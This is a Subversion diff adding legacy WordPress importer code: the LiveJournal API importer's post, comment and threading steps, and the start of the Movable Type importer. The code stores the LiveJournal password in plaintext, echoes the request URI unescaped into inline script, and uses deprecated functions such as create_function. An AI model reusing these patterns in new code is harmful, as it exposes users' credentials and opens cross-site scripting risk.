+		$post_content = str_replace( '<br>', '<br />', $post_content );
+		$post_content = str_replace( '<hr>', '<hr />', $post_content );
+		// lj-cut ==>  <!--more-->
+		$post_content = preg_replace( '|<lj-cut text="([^"]*)">|is', '<!--more $1-->', $post_content );
+		$post_content = str_replace( array( '<lj-cut>', '</lj-cut>' ), array( '<!--more-->', '' ), $post_content );
+		$first = strpos( $post_content, '<!--more' );
+		$post_content = substr( $post_content, 0, $first + 1 ) . preg_replace( '|<!--more(.*)?-->|sUi', '', substr( $post_content, $first + 1 ) );
+		// lj-user ==>  a href
+		$post_content = $this->translate_lj_user( $post_content );
+		//$post_content = force_balance_tags( $post_content );
+		$post_content = $wpdb->escape( $post_content );
+
+		// Handle any tags associated with the post
+		$tags_input = !empty( $post['props']['taglist'] ) ? $post['props']['taglist'] : '';
+
+		// Check if comments are closed on this post
+		$comment_status = !empty( $post['props']['opt_nocomments'] ) ? 'closed' : 'open';
+
+		echo '<li>';
+		if ( $post_id = post_exists( $post_title, $post_content, $post_date ) ) {
+			printf( __( 'Post <strong>%s</strong> already exists.' ), stripslashes( $post_title ) );
+		} else {
+			printf( __( 'Imported post <strong>%s</strong>...' ), stripslashes( $post_title ) );
+			$postdata = compact( 'post_author', 'post_date', 'post_content', 'post_title', 'post_status', 'post_password', 'tags_input', 'comment_status' );
+			$post_id = wp_insert_post( $postdata, true );
+			if ( is_wp_error( $post_id ) ) {
+				if ( 'empty_content' == $post_id->get_error_code() )
+					return; // Silent skip on "empty" posts
+				return $post_id;
+			}
+			if ( !$post_id ) {
+				_e( 'Couldn&#8217;t get post ID (creating post failed!)' );
+				echo '</li>';
+				return new WP_Error( 'insert_post_failed', __( 'Failed to create post.' ) );
+			}
+
+			// Handle all the metadata for this post
+			$this->insert_postmeta( $post_id, $post );
+		}
+		echo '</li>';
+	}
+
+	// Convert lj-user tags to links to that user
+	function translate_lj_user( $str ) {
+		return preg_replace( '|<lj\s+user\s*=\s*["\']([\w-]+)["\']>|', '<a href="http://$1.livejournal.com/" class="lj-user">$1</a>', $str );
+	}
+
+	function insert_postmeta( $post_id, $post ) {
+		// Need the original LJ id for comments
+		add_post_meta( $post_id, 'lj_itemid', $post['itemid'] );
+
+		// And save the permalink on LJ in case we want to link back or something
+		add_post_meta( $post_id, 'lj_permalink', $post['url'] );
+
+		// Supports the following "props" from LJ, saved as lj_<prop_name> in wp_postmeta
+		// 		Adult Content - adult_content
+		// 		Location - current_coords + current_location
+		// 		Mood - current_mood (translated from current_moodid)
+		// 		Music - current_music
+		// 		Userpic - picture_keyword
+		foreach ( array( 'adult_content', 'current_coords', 'current_location', 'current_moodid', 'current_music', 'picture_keyword' ) as $prop ) {
+			if ( !empty( $post['props'][$prop] ) ) {
+				if ( 'current_moodid' == $prop ) {
+					$prop = 'current_mood';
+					$val = $this->moods[ $post['props']['current_moodid'] ];
+				} else {
+					$val = $post['props'][$prop];
+				}
+				add_post_meta( $post_id, 'lj_' . $prop, $val );
+			}
+		}
+	}
+
+	// Set up a session (authenticate) with LJ
+	function get_session() {
+		// Get a session via XMLRPC
+		$cookie = $this->lj_ixr( 'sessiongenerate', array( 'ver' => 1, 'expiration' => 'short' ) );
+		if ( is_wp_error( $cookie ) )
+			return new WP_Error( 'cookie', __( 'Could not get a cookie from LiveJournal. Please try again soon.' ) );
+		return new WP_Http_Cookie( array( 'name' => 'ljsession', 'value' => $cookie['ljsession'] ) );
+	}
+
+	// Loops through and gets comment meta from LJ in batches
+	function download_comment_meta() {
+		$cookie = $this->get_session();
+		if ( is_wp_error( $cookie ) )
+			return $cookie;
+
+		// Load previous state (if any)
+		$this->usermap = (array) get_option( 'ljapi_usermap' );
+		$maxid         = get_option( 'ljapi_maxid' ) ? get_option( 'ljapi_maxid' ) : 1;
+		$highest_id    = get_option( 'ljapi_highest_id' ) ? get_option( 'ljapi_highest_id' ) : 0;
+
+		// We need to loop over the metadata request until we have it all
+		while ( $maxid > $highest_id ) {
+			// Now get the meta listing
+			$results = wp_remote_get( $this->comments_url . '?get=comment_meta&startid=' . ( $highest_id + 1 ),
+										array( 'cookies' => array( $cookie ), 'timeout' => 20 ) );
+			if ( is_wp_error( $results ) )
+				return new WP_Error( 'comment_meta', __( 'Failed to retrieve comment meta information from LiveJournal. Please try again soon.' ) );
+
+			$results = wp_remote_retrieve_body( $results );
+
+			// Get the maxid so we know if we have them all yet
+			preg_match( '|<maxid>(\d+)</maxid>|', $results, $matches );
+			if ( 0 == $matches[1] ) {
+				// No comment meta = no comments for this journal
+				echo '<p>' . __( 'You have no comments to import!' ) . '</p>';
+				update_option( 'ljapi_highest_id', 1 );
+				update_option( 'ljapi_highest_comment_id', 1 );
+				return false; // Bail out of comment importing entirely
+			}
+			$maxid = !empty( $matches[1] ) ? $matches[1] : $maxid;
+
+			// Parse comments and get highest id available
+			preg_match_all( '|<comment id=\'(\d+)\'|is', $results, $matches );
+			foreach ( $matches[1] as $id ) {
+				if ( $id > $highest_id )
+					$highest_id = $id;
+			}
+
+			// Parse out the list of user mappings, and add it to the known list
+			preg_match_all( '|<usermap id=\'(\d+)\' user=\'([^\']+)\' />|', $results, $matches );
+			foreach ( $matches[1] as $count => $userid )
+				$this->usermap[$userid] = $matches[2][$count]; // need this in memory for translating ids => names
+
+			wp_cache_flush();
+		}
+		// endwhile - should have seen all comment meta at this point
+
+		update_option( 'ljapi_usermap',    $this->usermap );
+		update_option( 'ljapi_maxid',      $maxid );
+		update_option( 'ljapi_highest_id', $highest_id );
+
+		echo '<p>' . __( ' Comment metadata downloaded successfully, proceeding with comment bodies...' ) . '</p>';
+
+		return true;
+	}
+
+	// Downloads actual comment bodies from LJ
+	// Inserts them all directly to the DB, with additional info stored in "spare" fields
+	function download_comment_bodies() {
+		global $wpdb;
+		$cookie = $this->get_session();
+		if ( is_wp_error( $cookie ) )
+			return $cookie;
+
+		// Load previous state (if any)
+		$this->usermap = (array) get_option( 'ljapi_usermap' );
+		$maxid         = get_option( 'ljapi_maxid' ) ? (int) get_option( 'ljapi_maxid' ) : 1;
+		$highest_id    = (int) get_option( 'ljapi_highest_comment_id' );
+		$loop = 0;
+		while ( $maxid > $highest_id && $loop < 5 ) { // We do 5 loops per call to avoid memory limits
+			$loop++;
+
+			// Get a batch of comments, using the highest_id we've already got as a starting point
+			$results = wp_remote_get( $this->comments_url . '?get=comment_body&startid=' . ( $highest_id + 1 ),
+										array( 'cookies' => array( $cookie ), 'timeout' => 20 ) );
+			if ( is_wp_error( $results ) )
+				return new WP_Error( 'comment_bodies', __( 'Failed to retrieve comment bodies from LiveJournal. Please try again soon.' ) );
+
+			$results = wp_remote_retrieve_body( $results );
+
+			// Parse out each comment and insert directly
+			preg_match_all( '|<comment id=\'(\d+)\'.*</comment>|iUs', $results, $matches );
+			for ( $c = 0; $c < count( $matches[0] ); $c++ ) {
+				// Keep track of highest id seen
+				if ( $matches[1][$c] > $highest_id ) {
+					$highest_id = $matches[1][$c];
+					update_option( 'ljapi_highest_comment_id', $highest_id );
+				}
+
+				$comment = $matches[0][$c];
+
+				// Filter out any captured, deleted comments (nothing useful to import)
+				$comment = preg_replace( '|<comment id=\'\d+\' jitemid=\'\d+\' posterid=\'\d+\' state=\'D\'[^/]*/>|is', '', $comment );
+
+				// Parse this comment into an array and insert
+				$comment = $this->parse_comment( $comment );
+				$id = wp_insert_comment( $comment );
+
+				// Clear cache
+				clean_comment_cache( $id );
+			}
+
+			// Clear cache to preseve memory
+			wp_cache_flush();
+		}
+		// endwhile - all comments downloaded and ready for bulk processing
+
+		// Counter just used to show progress to user
+		update_option( 'ljapi_comment_batch', ( (int) get_option( 'ljapi_comment_batch' ) + 1 ) );
+
+		return true;
+	}
+
+	// Takes a block of XML and parses out all the elements of the comment
+	function parse_comment( $comment ) {
+		global $wpdb;
+
+		// Get the top-level attributes
+		preg_match( '|<comment([^>]+)>|i', $comment, $attribs );
+		preg_match( '| id=\'(\d+)\'|i', $attribs[1], $matches );
+		$lj_comment_ID = $matches[1];
+		preg_match( '| jitemid=\'(\d+)\'|i', $attribs[1], $matches );
+		$lj_comment_post_ID = $matches[1];
+		preg_match( '| posterid=\'(\d+)\'|i', $attribs[1], $matches );
+		$comment_author_ID = isset( $matches[1] ) ? $matches[1] : 0;
+		preg_match( '| parentid=\'(\d+)\'|i', $attribs[1], $matches ); // optional
+		$lj_comment_parent = isset( $matches[1] ) ? $matches[1] : 0;
+		preg_match( '| state=\'([SDFA])\'|i', $attribs[1], $matches ); // optional
+		$lj_comment_state = isset( $matches[1] ) ? $matches[1] : 'A';
+
+		// Clean up "subject" - this will become the first line of the comment in WP
+		preg_match( '|<subject>(.*)</subject>|is', $comment, $matches );
+		if ( isset( $matches[1] ) ) {
+			$comment_subject = $wpdb->escape( trim( $matches[1] ) );
+			if ( 'Re:' == $comment_subject )
+				$comment_subject = '';
+		}
+
+		// Get the body and HTMLize it
+		preg_match( '|<body>(.*)</body>|is', $comment, $matches );
+		$comment_content = !empty( $comment_subject ) ? $comment_subject . "\n\n" . $matches[1] : $matches[1];
+		$comment_content = @html_entity_decode( $comment_content, ENT_COMPAT, get_option('blog_charset') );
+		$comment_content = str_replace( '&apos;', "'", $comment_content );
+		$comment_content = wpautop( $comment_content );
+		$comment_content = str_replace( '<br>', '<br />', $comment_content );
+		$comment_content = str_replace( '<hr>', '<hr />', $comment_content );
+		$comment_content = preg_replace_callback( '|<(/?[A-Z]+)|', create_function( '$match', 'return "<" . strtolower( $match[1] );' ), $comment_content );
+		$comment_content = $wpdb->escape( trim( $comment_content ) );
+
+		// Get and convert the date
+		preg_match( '|<date>(.*)</date>|i', $comment, $matches );
+		$comment_date = trim( str_replace( array( 'T', 'Z' ), ' ', $matches[1] ) );
+
+		// Grab IP if available
+		preg_match( '|<property name=\'poster_ip\'>(.*)</property>|i', $comment, $matches ); // optional
+		$comment_author_IP = isset( $matches[1] ) ? $matches[1] : '';
+
+		// Try to get something useful for the comment author, especially if it was "my" comment
+		$author = ( empty( $comment_author_ID ) || empty( $this->usermap[$comment_author_ID] ) || substr( $this->usermap[$comment_author_ID], 0, 4 ) == 'ext_' ) ? __( 'Anonymous' ) : $this->usermap[$comment_author_ID];
+		if ( get_option( 'ljapi_username' ) == $author ) {
+			$user    = wp_get_current_user();
+			$user_id = $user->ID;
+			$author  = $user->display_name;
+			$url     = trailingslashit( get_option( 'home' ) );
+		} else {
+			$user_id = 0;
+			$url     = ( __( 'Anonymous' ) == $author ) ? '' : 'http://' . $author . '.livejournal.com/';
+		}
+
+		// Send back the array of details
+		return array( 'lj_comment_ID' => $lj_comment_ID,
+						'lj_comment_post_ID' => $lj_comment_post_ID,
+						'lj_comment_parent' => ( !empty( $lj_comment_parent ) ? $lj_comment_parent : 0 ),
+						'lj_comment_state' => $lj_comment_state,
+						'comment_post_ID' => $this->get_wp_post_ID( $lj_comment_post_ID ),
+						'comment_author' => $author,
+						'comment_author_url' => $url,
+						'comment_author_email' => '',
+						'comment_content' => $comment_content,
+						'comment_date' => $comment_date,
+						'comment_author_IP' => ( !empty( $comment_author_IP ) ? $comment_author_IP : '' ),
+						'comment_approved' => ( in_array( $lj_comment_state, array( 'A', 'F' ) ) ? 1 : 0 ),
+						'comment_karma' => $lj_comment_ID, // Need this and next value until rethreading is done
+						'comment_agent' => $lj_comment_parent,
+						'comment_type' => 'livejournal',  // Custom type, so we can find it later for processing
+						'user_ID' => $user_id
+					);
+	}
+
+
+	// Gets the post_ID that a LJ post has been saved as within WP
+	function get_wp_post_ID( $post ) {
+		global $wpdb;
+
+		if ( empty( $this->postmap[$post] ) )
+		 	$this->postmap[$post] = (int) $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = 'lj_itemid' AND meta_value = %d", $post ) );
+
+		return $this->postmap[$post];
+	}
+
+	// Gets the comment_ID that a LJ comment has been saved as within WP
+	function get_wp_comment_ID( $comment ) {
+		global $wpdb;
+		if ( empty( $this->commentmap[$comment] ) )
+		 	$this->commentmap[$comment] = $wpdb->get_var( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_karma = %d", $comment ) );
+		return $this->commentmap[$comment];
+	}
+
+	function lj_ixr() {
+		if ( $challenge = $this->ixr->query( 'LJ.XMLRPC.getchallenge' ) ) {
+			$challenge = $this->ixr->getResponse();
+		}
+		if ( isset( $challenge['challenge'] ) ) {
+			$params = array( 'username' => $this->username,
+							'auth_method' => 'challenge',
+							'auth_challenge' => $challenge['challenge'],
+							'auth_response' => md5( $challenge['challenge'] . md5( $this->password ) ) );
+		} else {
+			return new WP_Error( 'IXR', __( 'LiveJournal is not responding to authentication requests. Please wait a while and then try again.' ) );
+		}
+
+		$args = func_get_args();
+        $method = array_shift( $args );
+		if ( isset( $args[0] ) )
+			$params = array_merge( $params, $args[0] );
+		if ( $this->ixr->query( 'LJ.XMLRPC.' . $method, $params ) ) {
+			return $this->ixr->getResponse();
+		} else {
+			return new WP_Error( 'IXR', __( 'XML-RPC Request Failed -- ' ) . $this->ixr->getErrorCode() . ': ' . $this->ixr->getErrorMessage() );
+		}
+	}
+
+	function dispatch() {
+		if ( empty( $_REQUEST['step'] ) )
+			$step = 0;
+		else
+			$step = (int) $_REQUEST['step'];
+
+		$this->header();
+
+		switch ( $step ) {
+			case -1 :
+				$this->cleanup();
+				// Intentional no break
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+			case 2 :
+			case 3 :
+				check_admin_referer( 'lj-api-import' );
+				$result = $this->{ 'step' . $step }();
+				if ( is_wp_error( $result ) ) {
+					$this->throw_error( $result, $step );
+				}
+				break;
+		}
+
+		$this->footer();
+	}
+
+	// Technically the first half of step 1, this is separated to allow for AJAX
+	// calls. Sets up some variables and options and confirms authentication.
+	function setup() {
+		global $verified;
+		// Get details from form or from DB
+		if ( !empty( $_POST['lj_username'] ) && !empty( $_POST['lj_password'] ) ) {
+			// Store details for later
+			$this->username = $_POST['lj_username'];
+			$this->password = $_POST['lj_password'];
+			update_option( 'ljapi_username', $this->username );
+			update_option( 'ljapi_password', $this->password );
+		} else {
+			$this->username = get_option( 'ljapi_username' );
+			$this->password = get_option( 'ljapi_password' );
+		}
+
+		// This is the password to set on protected posts
+		if ( !empty( $_POST['protected_password'] ) ) {
+			$this->protected_password = $_POST['protected_password'];
+			update_option( 'ljapi_protected_password', $this->protected_password );
+		} else {
+			$this->protected_password = get_option( 'ljapi_protected_password' );
+		}
+
+		// Login to confirm the details are correct
+		if ( empty( $this->username ) || empty( $this->password ) ) {
+			?>
+			<p><?php _e( 'Please enter your LiveJournal username <em>and</em> password so we can download your posts and comments.' ) ?></p>
+			<p><a href="<?php echo esc_url($_SERVER['PHP_SELF'] . '?import=livejournal&amp;step=-1&amp;_wpnonce=' . wp_create_nonce( 'lj-api-import' ) . '&amp;_wp_http_referer=' . esc_attr( str_replace( '&step=1', '', $_SERVER['REQUEST_URI'] ) ) ) ?>"><?php _e( 'Start again' ) ?></a></p>
+			<?php
+			return false;
+		}
+		$verified = $this->lj_ixr( 'login' );
+		if ( is_wp_error( $verified ) ) {
+			if ( 100 == $this->ixr->getErrorCode() || 101 == $this->ixr->getErrorCode() ) {
+				delete_option( 'ljapi_username' );
+				delete_option( 'ljapi_password' );
+				delete_option( 'ljapi_protected_password' );
+				?>
+				<p><?php _e( 'Logging in to LiveJournal failed. Check your username and password and try again.' ) ?></p>
+				<p><a href="<?php echo esc_url($_SERVER['PHP_SELF'] . '?import=livejournal&amp;step=-1&amp;_wpnonce=' . wp_create_nonce( 'lj-api-import' ) . '&amp;_wp_http_referer=' . esc_attr( str_replace( '&step=1', '', $_SERVER['REQUEST_URI'] ) ) ) ?>"><?php _e( 'Start again' ) ?></a></p>
+				<?php
+				return false;
+			} else {
+				return $verified;
+			}
+		} else {
+			update_option( 'ljapi_verified', 'yes' );
+		}
+
+		// Set up some options to avoid them autoloading (these ones get big)
+		add_option( 'ljapi_sync_item_times',  '', '', 'no' );
+		add_option( 'ljapi_usermap',          '', '', 'no' );
+		update_option( 'ljapi_comment_batch', 0 );
+
+		return true;
+	}
+
+	// Check form inputs and start importing posts
+	function step1() {
+		global $verified;
+		set_time_limit( 0 );
+		update_option( 'ljapi_step', 1 );
+		if ( !$this->ixr ) $this->ixr = new IXR_Client( $this->ixr_url, false, 80, 30 );
+		if ( empty( $_POST['login'] ) ) {
+			// We're looping -- load some details from DB
+			$this->username = get_option( 'ljapi_username' );
+			$this->password = get_option( 'ljapi_password' );
+			$this->protected_password = get_option( 'ljapi_protected_password' );
+		} else {
+			// First run (non-AJAX)
+			$setup = $this->setup();
+			if ( !$setup ) {
+				return false;
+			} else if ( is_wp_error( $setup ) ) {
+				$this->throw_error( $setup, 1 );
+				return false;
+			}
+		}
+
+		echo '<div id="ljapi-status">';
+		echo '<h3>' . __( 'Importing Posts' ) . '</h3>';
+		echo '<p>' . __( 'We&#8217;re downloading and importing your LiveJournal posts...' ) . '</p>';
+		if ( get_option( 'ljapi_post_batch' ) && count( get_option( 'ljapi_sync_item_times' ) ) ) {
+			$batch = count( get_option( 'ljapi_sync_item_times' ) );
+			$batch = $count > 300 ? ceil( $batch / 300 ) : 1;
+			echo '<p><strong>' . sprintf( __( 'Imported post batch %d of <strong>approximately</strong> %d' ), ( get_option( 'ljapi_post_batch' ) + 1 ), $batch ) . '</strong></p>';
+		}
+		ob_flush(); flush();
+
+		if ( !get_option( 'ljapi_lastsync' ) || '1900-01-01 00:00:00' == get_option( 'ljapi_lastsync' ) ) {
+			// We haven't downloaded meta yet, so do that first
+			$result = $this->download_post_meta();
+			if ( is_wp_error( $result ) ) {
+				$this->throw_error( $result, 1 );
+				return false;
+			}
+		}
+
+		// Download a batch of actual posts
+		$result = $this->download_post_bodies();
+		if ( is_wp_error( $result ) ) {
+			if ( 406 == $this->ixr->getErrorCode() ) {
+				?>
+				<p><strong><?php _e( 'Uh oh &ndash; LiveJournal has disconnected us because we made too many requests to their servers too quickly.' ) ?></strong></p>
+				<p><strong><?php _e( 'We&#8217;ve saved where you were up to though, so if you come back to this importer in about 30 minutes, you should be able to continue from where you were.' ) ?></strong></p>
+				<?php
+				echo $this->next_step( 1, __( 'Try Again' ) );
+				return false;
+			} else {
+				$this->throw_error( $result, 1 );
+				return false;
+			}
+		}
+
+		if ( get_option( 'ljapi_last_sync_count' ) > 0 ) {
+		?>
+			<form action="admin.php?import=livejournal" method="post" id="ljapi-auto-repost">
+			<?php wp_nonce_field( 'lj-api-import' ) ?>
+			<input type="hidden" name="step" id="step" value="1" />
+			<p><input type="submit" class="button-primary" value="<?php esc_attr_e( 'Import the next batch' ) ?>" /> <span id="auto-message"></span></p>
+			</form>
+			<?php $this->auto_ajax( 'ljapi-auto-repost', 'auto-message', 0 ); ?>
+		<?php
+		} else {
+			echo '<p>' . __( 'Your posts have all been imported, but wait &#8211; there&#8217;s more! Now we need to download &amp; import your comments.' ) . '</p>';
+			echo $this->next_step( 2, __( 'Download my comments &raquo;' ) );
+			$this->auto_submit();
+		}
+		echo '</div>';
+	}
+
+	// Download comments to local XML
+	function step2() {
+		set_time_limit( 0 );
+		update_option( 'ljapi_step', 2 );
+		$this->username = get_option( 'ljapi_username' );
+		$this->password = get_option( 'ljapi_password' );
+		$this->ixr = new IXR_Client( $this->ixr_url, false, 80, 30 );
+
+		echo '<div id="ljapi-status">';
+		echo '<h3>' . __( 'Downloading Comments' ) . '</h3>';
+		echo '<p>' . __( 'Now we will download your comments so we can import them (this could take a <strong>long</strong> time if you have lots of comments)...' ) . '</p>';
+		ob_flush(); flush();
+
+		if ( !get_option( 'ljapi_usermap' ) ) {
+			// We haven't downloaded meta yet, so do that first
+			$result = $this->download_comment_meta();
+			if ( is_wp_error( $result ) ) {
+				$this->throw_error( $result, 2 );
+				return false;
+			}
+		}
+
+		// Download a batch of actual comments
+		$result = $this->download_comment_bodies();
+		if ( is_wp_error( $result ) ) {
+			$this->throw_error( $result, 2 );
+			return false;
+		}
+
+		$maxid      = get_option( 'ljapi_maxid' ) ? (int) get_option( 'ljapi_maxid' ) : 1;
+		$highest_id = (int) get_option( 'ljapi_highest_comment_id' );
+		if ( $maxid > $highest_id ) {
+			$batch = $maxid > 5000 ? ceil( $maxid / 5000 ) : 1;
+		?>
+			<form action="admin.php?import=livejournal" method="post" id="ljapi-auto-repost">
+			<p><strong><?php printf( __( 'Imported comment batch %d of <strong>approximately</strong> %d' ), get_option( 'ljapi_comment_batch' ), $batch ) ?></strong></p>
+			<?php wp_nonce_field( 'lj-api-import' ) ?>
+			<input type="hidden" name="step" id="step" value="2" />
+			<p><input type="submit" class="button-primary" value="<?php esc_attr_e( 'Import the next batch' ) ?>" /> <span id="auto-message"></span></p>
+			</form>
+			<?php $this->auto_ajax( 'ljapi-auto-repost', 'auto-message', 0 ); ?>
+		<?php
+		} else {
+			echo '<p>' . __( 'Your comments have all been imported now, but we still need to rebuild your conversation threads.' ) . '</p>';
+			echo $this->next_step( 3, __( 'Rebuild my comment threads &raquo;' ) );
+			$this->auto_submit();
+		}
+		echo '</div>';
+	}
+
+	// Re-thread comments already in the DB
+	function step3() {
+		global $wpdb;
+		set_time_limit( 0 );
+		update_option( 'ljapi_step', 3 );
+
+		echo '<div id="ljapi-status">';
+		echo '<h3>' . __( 'Threading Comments' ) . '</h3>';
+		echo '<p>' . __( 'We are now re-building the threading of your comments (this can also take a while if you have lots of comments)...' ) . '</p>';
+		ob_flush(); flush();
+
+		// Only bother adding indexes if they have over 5000 comments (arbitrary number)
+		$imported_comments = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->comments} WHERE comment_type = 'livejournal'" );
+		$added_indices = false;
+		if ( 5000 < $imported_comments ) {
+			include_once(ABSPATH . 'wp-admin/includes/upgrade.php');
+			$added_indices = true;
+			add_clean_index( $wpdb->comments, 'comment_type'  );
+			add_clean_index( $wpdb->comments, 'comment_karma' );
+			add_clean_index( $wpdb->comments, 'comment_agent' );
+		}
+
+		// Get LJ comments, which haven't been threaded yet, 5000 at a time and thread them
+		while ( $comments = $wpdb->get_results( "SELECT comment_ID, comment_agent FROM {$wpdb->comments} WHERE comment_type = 'livejournal' AND comment_agent != '0' LIMIT 5000", OBJECT ) ) {
+			foreach ( $comments as $comment ) {
+				$wpdb->update( $wpdb->comments,
+								array( 'comment_parent' => $this->get_wp_comment_ID( $comment->comment_agent ), 'comment_type' => 'livejournal-done' ),
+								array( 'comment_ID' => $comment->comment_ID ) );
+			}
+			wp_cache_flush();
+			$wpdb->flush();
+		}
+
+		// Revert the comments table back to normal and optimize it to reclaim space
+		if ( $added_indices ) {
+			drop_index( $wpdb->comments, 'comment_type'  );
+			drop_index( $wpdb->comments, 'comment_karma' );
+			drop_index( $wpdb->comments, 'comment_agent' );
+			$wpdb->query( "OPTIMIZE TABLE {$wpdb->comments}" );
+		}
+
+		// Clean up database and we're out
+		$this->cleanup();
+		do_action( 'import_done', 'livejournal' );
+		if ( $imported_comments > 1 )
+			echo '<p>' . sprintf( __( "Successfully re-threaded %s comments." ), number_format( $imported_comments ) ) . '</p>';
+		echo '<h3>';
+		printf( __( 'All done. <a href="%s">Have fun!</a>' ), get_option( 'home' ) );
+		echo '</h3>';
+		echo '</div>';
+	}
+
+	// Output an error message with a button to try again.
+	function throw_error( $error, $step ) {
+		echo '<p><strong>' . $error->get_error_message() . '</strong></p>';
+		echo $this->next_step( $step, __( 'Try Again' ) );
+	}
+
+	// Returns the HTML for a link to the next page
+	function next_step( $next_step, $label, $id = 'ljapi-next-form' ) {
+		$str  = '<form action="admin.php?import=livejournal" method="post" id="' . $id . '">';
+		$str .= wp_nonce_field( 'lj-api-import', '_wpnonce', true, false );
+		$str .= wp_referer_field( false );
+		$str .= '<input type="hidden" name="step" id="step" value="' . esc_attr($next_step) . '" />';
+		$str .= '<p><input type="submit" class="button-primary" value="' . esc_attr( $label ) . '" /> <span id="auto-message"></span></p>';
+		$str .= '</form>';
+
+		return $str;
+	}
+
+	// Automatically submit the specified form after $seconds
+	// Include a friendly countdown in the element with id=$msg
+	function auto_submit( $id = 'ljapi-next-form', $msg = 'auto-message', $seconds = 10 ) {
+		?><script type="text/javascript">
+			next_counter = <?php echo $seconds ?>;
+			jQuery(document).ready(function(){
+				ljapi_msg();
+			});
+
+			function ljapi_msg() {
+				str = '<?php _e( "Continuing in %d" ) ?>';
+				jQuery( '#<?php echo $msg ?>' ).text( str.replace( /%d/, next_counter ) );
+				if ( next_counter <= 0 ) {
+					if ( jQuery( '#<?php echo $id ?>' ).length ) {
+						jQuery( "#<?php echo $id ?> input[type='submit']" ).hide();
+						str = '<?php _e( "Continuing" ) ?> <img src="images/wpspin_light.gif" alt="" id="processing" align="top" />';
+						jQuery( '#<?php echo $msg ?>' ).html( str );
+						jQuery( '#<?php echo $id ?>' ).submit();
+						return;
+					}
+				}
+				next_counter = next_counter - 1;
+				setTimeout('ljapi_msg()', 1000);
+			}
+		</script><?php
+	}
+
+	// Automatically submit the form with #id to continue the process
+	// Hide any submit buttons to avoid people clicking them
+	// Display a countdown in the element indicated by $msg for "Continuing in x"
+	function auto_ajax( $id = 'ljapi-next-form', $msg = 'auto-message', $seconds = 5 ) {
+		?><script type="text/javascript">
+			next_counter = <?php echo $seconds ?>;
+			jQuery(document).ready(function(){
+				ljapi_msg();
+			});
+
+			function ljapi_msg() {
+				str = '<?php _e( "Continuing in %d" ) ?>';
+				jQuery( '#<?php echo $msg ?>' ).text( str.replace( /%d/, next_counter ) );
+				if ( next_counter <= 0 ) {
+					if ( jQuery( '#<?php echo $id ?>' ).length ) {
+						jQuery( "#<?php echo $id ?> input[type='submit']" ).hide();
+						jQuery.ajaxSetup({'timeout':3600000});
+						str = '<?php _e( "Processing next batch." ) ?> <img src="images/wpspin_light.gif" alt="" id="processing" align="top" />';
+						jQuery( '#<?php echo $msg ?>' ).html( str );
+						jQuery('#ljapi-status').load(ajaxurl, {'action':'lj-importer',
+																'step':jQuery('#step').val(),
+																'_wpnonce':'<?php echo wp_create_nonce( 'lj-api-import' ) ?>',
+																'_wp_http_referer':'<?php echo $_SERVER['REQUEST_URI'] ?>'});
+						return;
+					}
+				}
+				next_counter = next_counter - 1;
+				setTimeout('ljapi_msg()', 1000);
+			}
+		</script><?php
+	}
+
+	// Remove all options used during import process and
+	// set wp_comments entries back to "normal" values
+	function cleanup() {
+		global $wpdb;
+
+		delete_option( 'ljapi_username' );
+		delete_option( 'ljapi_password' );
+		delete_option( 'ljapi_protected_password' );
+		delete_option( 'ljapi_verified' );
+		delete_option( 'ljapi_total' );
+		delete_option( 'ljapi_count' );
+		delete_option( 'ljapi_lastsync' );
+		delete_option( 'ljapi_last_sync_count' );
+		delete_option( 'ljapi_sync_item_times' );
+		delete_option( 'ljapi_lastsync_posts' );
+		delete_option( 'ljapi_post_batch' );
+		delete_option( 'ljapi_imported_count' );
+		delete_option( 'ljapi_maxid' );
+		delete_option( 'ljapi_usermap' );
+		delete_option( 'ljapi_highest_id' );
+		delete_option( 'ljapi_highest_comment_id' );
+		delete_option( 'ljapi_comment_batch' );
+		delete_option( 'ljapi_step' );
+
+		$wpdb->update( $wpdb->comments,
+						array( 'comment_karma' => 0, 'comment_agent' => 'WP LJ Importer', 'comment_type' => '' ),
+						array( 'comment_type' => 'livejournal-done' ) );
+		$wpdb->update( $wpdb->comments,
+						array( 'comment_karma' => 0, 'comment_agent' => 'WP LJ Importer', 'comment_type' => '' ),
+						array( 'comment_type' => 'livejournal' ) );
+	}
+
+	function LJ_API_Import() {
+		$this->__construct();
+	}
+
+	function __construct() {
+		// Nothing
+	}
+}
+
+$lj_api_import = new LJ_API_Import();
+
+register_importer( 'livejournal', __( 'LiveJournal' ), __( 'Import posts from LiveJournal using their API.' ), array( $lj_api_import, 'dispatch' ) );
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/mt.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/mt.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/mt.php	(revision 44)
@@ -0,0 +1,514 @@
+<?php
+/**
+ * Movable Type and Typepad Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ */
+
+/**
+ * Moveable Type and Typepad Importer class
+ *
+ * Upload your exported Movable Type or Typepad entries into WordPress.
+ *
+ * @since unknown
+ */
+class MT_Import {
+
+	var $posts = array ();
+	var $file;
+	var $id;
+	var $mtnames = array ();
+	var $newauthornames = array ();
+	var $j = -1;
+
+	function header() {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import Movable Type or TypePad').'</h2>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function greet() {
+		$this->header();
+?>
+<div class="narrow">
+<p><?php _e('Howdy! We&#8217;re about to begin importing all of your Movable Type or Typepad entries into WordPress. To begin, either choose a file to upload and click &#8220;Upload file and import&#8221;, or use FTP to upload your MT export file as <code>mt-export.txt</code> in your <code>/wp-content/</code> directory and then click "Import mt-export.txt"'); ?></p>
+
+<?php wp_import_upload_form( add_query_arg('step', 1) ); ?>
+<form method="post" action="<?php echo esc_attr(add_query_arg('step', 1)); ?>" class="import-upload-form">
+
+<?php wp_nonce_field('import-upload'); ?>
+<p>
+	<input type="hidden" name="upload_type" value="ftp" />
+<?php _e('Or use <code>mt-export.txt</code> in your <code>/wp-content/</code> directory'); ?></p>
+<p class="submit">
+<input type="submit" class="button" value="<?php esc_attr_e('Import mt-export.txt'); ?>" />
+</p>
+</form>
+<p><?php _e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if&#8212;for whatever reason&#8212;it doesn&#8217;t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces.'); ?> </p>
+</div>
+<?php
+		$this->footer();
